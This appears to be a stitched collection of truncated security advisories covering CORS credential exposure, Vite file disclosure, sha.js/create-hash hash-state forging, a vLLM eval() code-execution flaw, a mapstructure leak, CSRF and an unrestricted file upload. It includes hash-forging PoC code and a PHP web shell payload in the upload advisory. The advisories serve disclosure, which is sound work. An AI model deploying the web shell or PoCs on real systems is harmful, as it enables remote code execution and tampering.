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Teenaged security researchers Sasha Zyuzin and Ruikai Peng discuss how their new vulnerability discovery framework leverages LLMs to address limitations of the past.

**Why is this Chrome CVE included in the Security Update Guide?** The vulnerability assigned to this CVE is in Chromium Open Source Software (OSS) which is consumed by Microsoft Edge (Chromium-based). It is being documented in the Security Update Guide to announce that the latest version of Microsoft Edge (Chromium-based) is no longer vulnerable. **How can I see the version of the browser?** 1. In your Microsoft Edge browser, click on the 3 dots (...) on the very right-hand side of the window 2. Click on **Help and Feedback** 3. Click on **About Microsoft Edge**

### Impact Due to improper Cross-Origin Resource Sharing (CORS) configuration, there is a risk that user API Keys or equivalent credentials may be exposed to untrusted domains. Attackers could exploit this misconfiguration to steal credentials, abuse accounts, exhaust quotas, or access sensitive data. ### Patches The issue has been patched in v1.0.34.

### Summary Files not included in `src` was possible to access with a crafted request. ### Impact Only apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected. Arbitrary files can be disclosed by exploiting this vulnerability. ### Details Consider the following configuration in used by `vite.config.ts`: ```ts import { defineConfig } from 'vite' import { viteStaticCopy } from 'vite-plugin-static-copy' export default defineConfig({ plugins: [ viteStaticCopy({ targets: [ { src: "./public/images", dest: "./", }, ], }), ], }); ``` The files under the `./public/images` is only expected to be served. Abusing this vulnerability, an attacker can access arbitrary files on the filesystem. ### PoC I've attached a demo app to showcase the bug. Run it with `npm run dev` and issue the foll...

### Summary This is the same as [GHSA-cpq7-6gpm-g9rc](https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc) but just for `sha.js`, as it has its own implementation. Missing input type checks lead to it calculating invalid values, hanging, rewinding the hash state (including turning a tagged hash into an untagged hash) on malicious JSON-stringifyable input ### Details See PoC ### PoC ```js const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]]) const sha = require('sha.js') const { randomBytes } = require('crypto') const sha256 = (...messages) => { const hash = sha('sha256') messages.forEach((m) => hash.update(m)) return hash.digest('hex') } const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe') const receivedMessage = JSON.parse(payload) // e.g. over network, whatever console.log(sha256...

### Summary This affects e.g. `create-hash` (and `crypto-browserify`), so I'll describe the issue against that package Also affects `create-hmac` and other packages Node.js `createHash` works only on strings or instances of Buffer, TypedArray, or DataView. Missing input type checks in npm `create-hash` polyfill of Node.js `createHash` lead to it calculating invalid values, hanging, rewinding the hash state (including turning a tagged hash into an untagged hash) on malicious JSON-stringifyable input ### Details See PoC ### PoC ```js const createHash = require('create-hash/browser.js') const { randomBytes } = require('crypto') const sha256 = (...messages) => { const hash = createHash('sha256') messages.forEach((m) => hash.update(m)) return hash.digest('hex') } const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe') const receivedMessage = JSON.parse(payload) // e....

### Summary An unsafe deserialization vulnerability allows any authenticated user to execute arbitrary code on the server if they are able to get the model to pass the code as an argument to a tool call. ### Details vLLM's [Qwen3 Coder tool parser](https://github.com/vllm-project/vllm/blob/main/vllm/entrypoints/openai/tool_parsers/qwen3coder_tool_parser.py) contains a code execution path that uses Python's `eval()` function to parse tool call parameters. This occurs during the parameter conversion process when the parser attempts to handle unknown data types. This code path is reached when: 1. Tool calling is enabled (`--enable-auto-tool-choice`) 2. The qwen3_coder parser is specified (`--tool-call-parser qwen3_coder`) 3. The parameter type is not explicitly defined or recognized ### Impact Remote Code Execution via Python's `eval()` function.

### Summary Use of this library in a security-critical context may result in leaking sensitive information, if used to process sensitive fields. ### Details OpenBao (and presumably HashiCorp Vault) have surfaced error messages from `mapstructure` as follows: https://github.com/openbao/openbao/blob/98c3a59c040efca724353ca46ca79bd5cdbab920/sdk/framework/field_data.go#L43-L50 ```go _, _, err := d.getPrimitive(field, schema) if err != nil { return fmt.Errorf("error converting input for field %q: %w", field, err) } ``` where this calls `mapstructure.WeakDecode(...)`: https://github.com/openbao/openbao/blob/98c3a59c040efca724353ca46ca79bd5cdbab920/sdk/framework/field_data.go#L181-L193 ```go func (d *FieldData) getPrimitive(k string, schema *FieldSchema) (interface{}, bool, error) { raw, ok := d.Raw[k] if !ok { return nil, false, nil } switch t := schema.Type; t { case TypeBool: var result bool if err := mapstructure.WeakDecode(raw, &result); err != nil { r...

### Summary Some of the endpoints of the application is vulnerable to Cross site Request forgery (CSRF). | Method | Endpoint | Status | Reason | |:------:|:------:|:------:|:------:| | POST | /admin/catalog/products/create | Not Vulnerable :white_check_mark: | `X-XSRF-TOKEN` header used | | GET | /admin/catalog/products/copy/{id}| Vulnerable :x: | Missing `X-XSRF-TOKEN` header or similar protection | | POST | /admin/catalog/products/edit/{id}| Vulnerable :x: | Missing `X-XSRF-TOKEN` header or similar protection | | POST | /admin/settings/users/create | Not Vulnerable :white_check_mark: | `X-XSRF-TOKEN` header used | The below are some of the vulnerable endpoints that allow state changing actions including but not limited to: ``` /admin/catalog/categories/create /admin/catalog/categories/edit/{id} /admin/catalog/category-fields/create /admin/catalog/category-fields/edit/{id} /admin/catalog/attributes/create /admin/catalog/attributes/edit/{id} ``` ### Details CSRF attack happens when...

### Summary: Affected Functionality: **Image upload at User creation** Endpoint: `/admin/settings/users/create` ### Details The image upload at the user creation feature performs only client side file type validation. A user can capture the request by uploading an image, capture the request through a Proxy like Burp suite. Make changes to the file extension and content. The .php file when accessed through the link runs the code we provided inside the file. Modified part of the multipart request body: ``` Content-Disposition: form-data; name="image[]"; filename="poc.php" Content-Type: application/x-php <?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?> ``` ### PoC 1. Upload an image file as profile picture during user creation , now capture the request and modify. File content: ```<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>``` File name: poc.php Content-Type can be any, doesn't matter. 2. Access the up...